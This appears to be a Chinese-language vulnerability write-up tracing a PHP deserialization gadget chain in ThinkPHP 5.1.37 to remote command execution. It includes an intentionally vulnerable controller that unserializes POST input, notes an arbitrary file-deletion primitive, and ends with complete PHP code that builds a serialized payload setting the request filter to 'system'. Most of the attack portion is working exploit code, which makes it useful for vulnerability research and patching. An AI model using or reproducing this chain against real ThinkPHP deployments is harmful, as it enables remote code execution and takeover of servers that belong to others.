使用 composer下载项目
composer create-project topthink/think=5.1.37 v5.1.37
配置控制器
namespace app\index\controller;
class unserialize{
public function kb(){
if(isset($_POST['unserialize'])){
$a = $_POST['unserialize'];
@unserialize(urldecode($a));
}
highlight_file(__FILE__);
return '薇尔莉特yyds';
}
}
?>
配置路由
return [
'unserialize'=>'index/unserialize/kb',
];
访问unserialize
漏洞链的起点位于
library\think\process\pipes\Windows.php 的 __destruct()
public function __destruct()
{
$this->close();
$this->removeFiles();
}
跟进removeFiles
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
$this->files是个数组 将值循环给到filename,判断文件是否存在,然后将它删除,这里便存在一个任意文件删除漏洞,poc简单自行编写,继续跟进反序列化链
传进来的参数是字符串,如果传进来是个对象的话,那么便会调用对象的__toString方法
全局查找一个__toString方法
thinkphp\library\think\model\concern\Conversion.php
public function __toString()
{
return $this->toJson();
}
跟进toJson
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
跟进toArray
public function toArray()
{
***
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
***
}
关键代码就是上面这一段的 $relation->visible( $name); 对象可控参数也可控,方法名不可控,让他调用__call方法即可,if判断中的relation得为假才能进入
跟进getRelation($key)
getRelation在trait RelationShip类中
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
这里我们让他返回空即可,跟进getAttr($key)
getAttr在trait Attribute类中
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
// 检测属性获取器
$fieldName = Loader::parseName($name);
$method = 'get' . Loader::parseName($name, 1) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($notFound && $relation = $this->isRelationAttr($name)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
}
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
} elseif (method_exists($this, $method)) {
if ($notFound && $relation = $this->isRelationAttr($name)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
}
$value = $this->$method($value, $this->data);
} elseif (isset($this->type[$name])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$name]);
} elseif ($this->autoWriteTimestamp && in_array($name, [$this->createTime, $this->updateTime])) {
if (is_string($this->autoWriteTimestamp) && in_array(strtolower($this->autoWriteTimestamp), [
'datetime',
'date',
'timestamp',
])) {
$value = $this->formatDateTime($this->dateFormat, $value);
} else {
$value = $this->formatDateTime($this->dateFormat, $value, true);
}
} elseif ($notFound) {
$value = $this->getRelationAttribute($name, $item);
}
return $value;
}
最终返回一个value,跟进getData($name),此时的name是上面的append的健
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
到这里我们就可以在第二个条件或第三个条件让他返回一个对象了,这时去找一下让它调用哪个对象的__call方法,让它调用Request的__call方法即可,虽说参数不可控,但是调用的函数可控
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
先是调用了trait Conversion的__toString()->toJson()->toArray(),再到trait RelationShip的getRelation,再到trait Attribute的getAttr(),再到getData()返回一个Request对象,所以先得找一个使用了这3个trait类的类
找到了Model但他是个抽象类,再去找找谁继承了它
找到了Pivot,这是可以构造一部分poc了
namespace think{
class Request{
}
}
namespace think{
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct(){
$this->data=['kb'=>new Request()];
$this->append=['kb'=>['hello','word']];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct(){
$this->files[]=new Pivot();
}
}
}
namespace{
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
}
然后去跟一下Request的__call方法
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
函数可控,参数不可控,而且这里没有直接执行命令的地方,得去找一个能执行命令的函数
在Thinkphp的Request类中还有一个filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码。
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
这里有代码执行的地方但是方法与函数都不可控,这时去找一个调用它的方法,来让他的参数可控。
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
$data = $this->getData($data, $name);
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
重要的是这一段
进到这里的话得让$name为空
跟进一下getFilter()
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
相当于$filter = $this->filter;
现在回调方法可控了但是参数不可控,找一下调用input方法的方法
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
关键是这两句,第一句让我们参数可控,第二句调用input,可以通过两种方式给参数赋值,第一个是给$this->param赋值,第二个是通过get()方法调用_GET自动获取值
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
return $this->input($this->param, $name, $default, $filter);
但是此时$name依然不可控,继续查找调用param()方法的方法
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
这里调用了param()而且参数可控,所以只需要让Request的__call()方法调用自己的isAjax方法即可。
构造完整poc:
namespace think{
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct(){
$this->data=['kb'=>new Request()];
$this->append=['kb'=>['hello','word']];
}
}
class Request{
protected $param=[];
protected $hook=[];
protected $filter;
protected $config=[];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files;
public function __construct(){
$this->files=[new Pivot()];
}
}
}
namespace{
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
}
Thinkphp 反序列化利用链深入分析